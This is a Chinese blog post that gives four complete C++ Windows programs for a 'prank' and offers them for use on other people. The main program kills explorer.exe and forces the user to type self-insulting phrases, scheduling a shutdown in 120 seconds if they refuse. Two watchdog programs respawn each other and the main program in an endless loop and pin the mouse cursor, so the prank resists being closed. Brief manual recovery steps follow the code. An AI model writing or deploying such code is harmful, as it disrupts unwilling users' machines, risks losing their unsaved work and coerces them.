当前位置:   article > 正文

c++整人代码,超级加倍,让人承认我是大傻猪

c++整人代码

今天看到一个博客,让人承认我是猪,觉得很有意思,也写了一个同样让人承认我是猪的,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:

第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp 

下面是代码:

  1. #include<bits/stdc++.h>
  2. #include<windows.h>
  3. #include <tlhelp32.h>
  4. bool getProcess(const char *procressName) //此函数进程名不区分大小写
  5. {
  6. char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
  7. strcpy(pName,procressName); //拷贝数组
  8. CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
  9. PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
  10. currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
  11. HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
  12. if (hProcess == INVALID_HANDLE_VALUE)
  13. {
  14. return false;
  15. }
  16. bool bMore=Process32First(hProcess,&currentProcess); //获取第一个进程信息
  17. while(bMore)
  18. {
  19. CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
  20. if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
  21. {
  22. CloseHandle(hProcess); //清除hProcess句柄
  23. return true;
  24. }
  25. bMore=Process32Next(hProcess,&currentProcess); //遍历下一个
  26. }
  27. CloseHandle(hProcess); //清除hProcess句柄
  28. return false;
  29. }
  30. void po()
  31. {
  32. if(getProcess("整人代码-防护.exe") == 0){
  33. system("start 整人代码-防护.exe");
  34. }
  35. if(getProcess("整人代码-防护2.exe") == 0){
  36. system("start 整人代码-防护2.exe");
  37. }
  38. HWND hWnd = ::GetForegroundWindow();
  39. ::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
  40. }
  41. using namespace std;
  42. int main()
  43. {
  44. po();
  45. system("taskkill /f /t /im explorer.exe");
  46. string in;
  47. po();
  48. HWND hWnd = ::GetForegroundWindow();
  49. ::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
  50. cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";
  51. cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:";
  52. cin>>in;
  53. po();
  54. if(in == "我是猪"){
  55. cout<<"这是一个事实,哈哈哈\n";
  56. po();
  57. Sleep(5000);
  58. po();
  59. cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
  60. cin>>in;
  61. if(in == "我是大傻子"){
  62. po();
  63. cout<<"真乖,哈哈哈哈哈哈\n";
  64. Sleep(1000);
  65. po();
  66. cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
  67. system("start explorer.exe");
  68. system("start 整人代码-kill.exe");
  69. return 0;
  70. }
  71. }
  72. po();
  73. cout<<"很勇啊你,让我帮你关机吧!\n";
  74. system("shutdown -s -t 120");
  75. cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
  76. po();
  77. cin>>in;
  78. if(in == "我是大傻猪"){
  79. cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
  80. po();
  81. system("shutdown -a");
  82. Sleep(3000);
  83. po();
  84. cout<<"啥?\n";
  85. Sleep(3000);
  86. po();
  87. cout<<"我忘了什么东西?\n";
  88. Sleep(3000);
  89. po();
  90. cout<<"恢复啥?\n";
  91. Sleep(3000);
  92. po();
  93. cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
  94. cin>>in;
  95. po();
  96. if(in == "我是世上独一无二绝无仅有的超级大傻猪"){
  97. cout<<"真乖,看我咻---";
  98. system("start explorer.exe");
  99. system("start 整人代码-kill.exe");
  100. return 0;
  101. }
  102. }
  103. cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
  104. system("start 整人代码-kill.exe");
  105. return 0;
  106. }

第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp 

下面是代码:

  1. #include<bits/stdc++.h>
  2. #include <windows.h>
  3. #include <tlhelp32.h>
  4. using namespace std;
  5. bool getProcess(const char *procressName) //此函数进程名不区分大小写
  6. {
  7. char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
  8. strcpy(pName,procressName); //拷贝数组
  9. CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
  10. PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
  11. currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
  12. HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
  13. if (hProcess == INVALID_HANDLE_VALUE)
  14. {
  15. return false;
  16. }
  17. bool bMore=Process32First(hProcess,&currentProcess); //获取第一个进程信息
  18. while(bMore)
  19. {
  20. CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
  21. if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
  22. {
  23. CloseHandle(hProcess); //清除hProcess句柄
  24. return true;
  25. }
  26. bMore=Process32Next(hProcess,&currentProcess); //遍历下一个
  27. }
  28. CloseHandle(hProcess); //清除hProcess句柄
  29. return false;
  30. }
  31. int main()
  32. {
  33. ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
  34. while(1){
  35. if(getProcess("整人代码.exe") == 0){
  36. system("start 整人代码.exe");
  37. }
  38. if(getProcess("整人代码-防护2.exe") == 0){
  39. system("start 整人代码-防护2.exe");
  40. }
  41. if(getProcess("整人代码-kill.exe") == 1){
  42. break;
  43. }
  44. HWND hWnd = ::GetForegroundWindow();
  45. ::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
  46. SetCursorPos(0,0);
  47. }
  48. return 0;
  49. }

第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp 

下面是代码:

  1. #include<bits/stdc++.h>
  2. #include <windows.h>
  3. #include <tlhelp32.h>
  4. using namespace std;
  5. bool getProcess(const char *procressName) //此函数进程名不区分大小写
  6. {
  7. char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
  8. strcpy(pName,procressName); //拷贝数组
  9. CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
  10. PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
  11. currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
  12. HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
  13. if (hProcess == INVALID_HANDLE_VALUE)
  14. {
  15. return false;
  16. }
  17. bool bMore=Process32First(hProcess,&currentProcess); //获取第一个进程信息
  18. while(bMore)
  19. {
  20. CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
  21. if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
  22. {
  23. CloseHandle(hProcess); //清除hProcess句柄
  24. return true;
  25. }
  26. bMore=Process32Next(hProcess,&currentProcess); //遍历下一个
  27. }
  28. CloseHandle(hProcess); //清除hProcess句柄
  29. return false;
  30. }
  31. int main()
  32. {
  33. ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
  34. while(1){
  35. if(getProcess("整人代码-防护.exe") == 0){
  36. system("start 整人代码-防护.exe");
  37. }
  38. if(getProcess("整人代码-kill.exe") == 1){
  39. break;
  40. }
  41. HWND hWnd = ::GetForegroundWindow();
  42. ::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
  43. SetCursorPos(0,0);
  44. }
  45. return 0;
  46. }

第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp 

下面是代码:

  1. #include<bits/stdc++.h>
  2. #include<windows.h>
  3. #include <tlhelp32.h>
  4. bool getProcess(const char *procressName) //此函数进程名不区分大小写
  5. {
  6. char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
  7. strcpy(pName,procressName); //拷贝数组
  8. CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
  9. PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
  10. currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
  11. HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
  12. if (hProcess == INVALID_HANDLE_VALUE)
  13. {
  14. return false;
  15. }
  16. bool bMore=Process32First(hProcess,&currentProcess); //获取第一个进程信息
  17. while(bMore)
  18. {
  19. CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
  20. if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
  21. {
  22. CloseHandle(hProcess); //清除hProcess句柄
  23. return true;
  24. }
  25. bMore=Process32Next(hProcess,&currentProcess); //遍历下一个
  26. }
  27. CloseHandle(hProcess); //清除hProcess句柄
  28. return false;
  29. }
  30. using namespace std;
  31. int main()
  32. {
  33. while(getProcess("整人代码.exe")){
  34. system("taskkill /f /t /im 整人代码.exe");
  35. }
  36. return 0;
  37. }

作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:

第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束

第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。

第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。

作用:

第一步:关闭程序

第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键

第三步:取消关机

注:本文章灵感来源于[c++整人代码]逼人承认“我是猪” 「v2.0」_蜀都客车的博客-CSDN博客_c++恶搞代码

但是本文章代码和如上文章没有任何关系,除getprocess函数来自其他CSDN大神之手,其它均为原创。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/301149
推荐阅读
相关标签
  

闽ICP备14008679号